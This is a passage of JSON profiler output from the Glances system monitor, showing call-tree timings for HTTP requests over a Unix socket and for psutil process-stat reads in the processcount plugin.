\"merge_setting\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u000061\",\"time\": 0.002004,\"attributes\": {\"l75\": 0.0020039709997945465},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.002118,\"attributes\": {\"cAPIClient\": 0.002118304000759963, \"l703\": 0.002118304000759963},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.002118,\"attributes\": {\"cUnixHTTPAdapter\": 0.002118304000759963, \"l644\": 0.002118304000759963},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.002118,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.002118304000759963, \"l787\": 0.002118304000759963},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.002118,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.002118304000759963, \"l534\": 0.002118304000759963},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.002118,\"attributes\": {\"cUnixHTTPConnection\": 0.002118304000759963, \"l571\": 0.002118304000759963},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.002118,\"attributes\": {\"cUnixHTTPConnection\": 0.002118304000759963, \"l1430\": 0.002118304000759963},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.002118,\"attributes\": {\"cHTTPResponse\": 0.002118304000759963, \"l331\": 0.002118304000759963},\"children\": [{\"identifier\": \"_read_status\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000291\",\"time\": 0.002118,\"attributes\": {\"cHTTPResponse\": 0.002118304000759963, \"l292\": 0.002118304000759963},\"children\": [{\"identifier\": \"readinto\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/socket.py\\u0000712\",\"time\": 0.002118,\"attributes\": {\"cSocketIO\": 0.002118304000759963, \"l725\": 0.002118304000759963},\"children\": [{\"identifier\": \"socket.recv_into\\u0000<built-in>\\u00000\",\"time\": 0.002118,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002118,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.065874,\"attributes\": {\"cProcesscountPlugin\": 0.06587443199532572, \"l85\": 0.06587443199532572},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.065874,\"attributes\": {\"cGlancesProcesses\": 0.06587443199532572, \"l617\": 0.05987229899619706, \"l634\": 0.002011156000662595, \"l659\": 0.0019879210012732074, \"l663\": 0.0020030559971928596},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.059872,\"attributes\": {\"cGlancesProcesses\": 0.05987229899619706, \"l478\": 0.05187247799767647, \"l493\": 0.00799982099852059},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.051872,\"attributes\": {\"l1541\": 0.0019399730008444749, \"l1558\": 0.049932504996831995},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.001940,\"attributes\": {\"l1485\": 0.0019399730008444749},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.001940,\"attributes\": {\"l1526\": 0.0019399730008444749},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.001940,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001940,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.049933,\"attributes\": {\"cProcess\": 0.049932504996831995, \"l579\": 0.04393247199914185, \"l578\": 0.003999402993940748, \"l572\": 0.002000630003749393},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001943,\"attributes\": {\"cProcess\": 0.00194264199672034, \"l939\": 0.00194264199672034},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001943,\"attributes\": {\"cProcess\": 0.00194264199672034, \"l1593\": 0.00194264199672034},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001943,\"attributes\": {\"cProcess\": 0.00194264199672034, \"l2052\": 0.00194264199672034},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001943,\"attributes\": {\"cProcess\": 0.00194264199672034, \"l1593\": 0.00194264199672034},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001943,\"attributes\": {\"cProcess\": 0.00194264199672034, \"l382\": 0.00194264199672034},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.001943,\"attributes\": {\"cProcess\": 0.00194264199672034, \"l1718\": 0.00194264199672034},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001943,\"attributes\": {\"l682\": 0.00194264199672034},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001943,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001943,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001996437000343576, \"l680\": 0.001996437000343576},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001996437000343576, \"l1593\": 0.001996437000343576},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001996437000343576, \"l1740\": 0.001996437000343576},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001996437000343576, \"l1593\": 0.001996437000343576},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001996437000343576, \"l382\": 0.001996437000343576},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001996437000343576, \"l1683\": 0.001996437000343576},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001996,\"attributes\": {\"l730\": 0.001996437000343576},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001996,\"attributes\": {\"l719\": 0.001996437000343576},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.001996,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996620030724443, \"l939\": 0.0019996620030724443},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996620030724443, \"l1593\": 0.0019996620030724443},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996620030724443, \"l2052\": 0.0019996620030724443},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996620030724443, \"l1593\": 0.0019996620030724443},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996620030724443, \"l382\": 0.0019996620030724443},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996620030724443, \"l1719\": 0.0019996620030724443},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.0019945199965150096, \"l680\": 0.0019945199965150096},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.0019945199965150096, \"l1593\": 0.0019945199965150096},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.0019945199965150096, \"l1740\": 0.0019945199965150096},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.0019945199965150096, \"l1593\": 0.0019945199965150096},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.0019945199965150096, \"l382\": 0.0019945199965150096},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.0019945199965150096, \"l1688\": 0.0019945199965150096},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"nice\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000791\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012500026496127, \"l794\": 0.0020012500026496127},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012500026496127, \"l1593\": 0.0020012500026496127},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003120007459074, \"l939\": 0.0020003120007459074},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003120007459074, \"l1593\": 0.0020003120007459074},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003120007459074, \"l2052\": 0.0020003120007459074},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003120007459074, \"l1593\": 0.0020003120007459074},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003120007459074, \"l382\": 0.0020003120007459074},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003120007459074, \"l1719\": 0.0020003120007459074},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989889988210052, \"l836\": 0.0019989889988210052},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989889988210052, \"l1595\": 0.0019989889988210052},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003998533997219056, \"l680\": 0.003998533997219056},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003998533997219056, \"l1593\": 0.003998533997219056},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003998533997219056, \"l1740\": 0.003998533997219056},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003998533997219056, \"l1593\": 0.003998533997219056},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003998533997219056, \"l382\": 0.003998533997219056},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019984419996035285, \"l1683\": 0.0019984419996035285},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001998,\"attributes\": {\"l730\": 0.0019984419996035285},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001998,\"attributes\": {\"l718\": 0.0019984419996035285},\"children\": [{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.002001,\"attributes\": {\"c_GeneratorContextManager\": 0.002000630003749393, \"l141\": 0.002000630003749393},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000630003749393, \"l535\": 0.002000630003749393},\"children\": [{\"identifier\": \"oneshot_enter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001727\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000630003749393, \"l1728\": 0.002000630003749393},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002003369001613464, \"l680\": 0.002003369001613464},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002003369001613464, \"l1593\": 0.002003369001613464},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002003369001613464, \"l1740\": 0.002003369001613464},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002003369001613464, \"l1593\": 0.002003369001613464},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002003369001613464, \"l382\": 0.002003369001613464},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002003369001613464, \"l1683\": 0.002003369001613464},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002003,\"attributes\": {\"l730\": 0.002003369001613464},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002003,\"attributes\": {\"l719\": 0.002003369001613464},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019976499970653094, \"l382\": 0.0019976499970653094},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019976499970653094, \"l1138\": 0.0019976499970653094},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019976499970653094, \"l1593\": 0.0019976499970653094},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"status\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000750\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000246997748036, \"l753\": 0.004000246997748036},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000246997748036, \"l1593\": 0.004000246997748036},\"children\": [{\"identifier\": \"status\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002190\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000246997748036, \"l2195\": 0.001999644002353307, \"l2192\": 0.002000602995394729},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.004003,\"attributes\": {\"cProcess\": 0.004002847999799997, \"l836\": 0.004002847999799997},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004003,\"attributes\": {\"cProcess\": 0.004002847999799997, \"l1593\": 0.004002847999799997},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.004003,\"attributes\": {\"cProcess\": 0.004002847999799997, \"l1802\": 0.002001050001126714, \"l1796\": 0.0020017979986732826},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.0020017979986732826},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001995968006667681, \"l382\": 0.001995968006667681},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001995968006667681, \"l1127\": 0.001995968006667681},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001995968006667681, \"l1593\": 0.001995968006667681},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001995968006667681, \"l1835\": 0.001995968006667681},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020000730000901967, \"l1116\": 0.0020000730000901967},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020018829964101315, \"l939\": 0.0020018829964101315},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020018829964101315, \"l1593\": 0.0020018829964101315},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020018829964101315, \"l2052\": 0.0020018829964101315},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020018829964101315, \"l1593\": 0.0020018829964101315},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020018829964101315, \"l382\": 0.0020018829964101315},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020018829964101315, \"l1718\": 0.0020018829964101315},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.0020018829964101315},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.00399880299664801, \"l382\": 0.00399880299664801},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.00399880299664801, \"l1138\": 0.00399880299664801},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.00399880299664801, \"l1593\": 0.00399880299664801},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.00399880299664801, \"l1878\": 0.00399880299664801},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.003999,\"attributes\": {\"l682\": 0.00399880299664801},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.003999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992320012534037, \"l836\": 0.0019992320012534037},\"children\": [{\"identifier\": 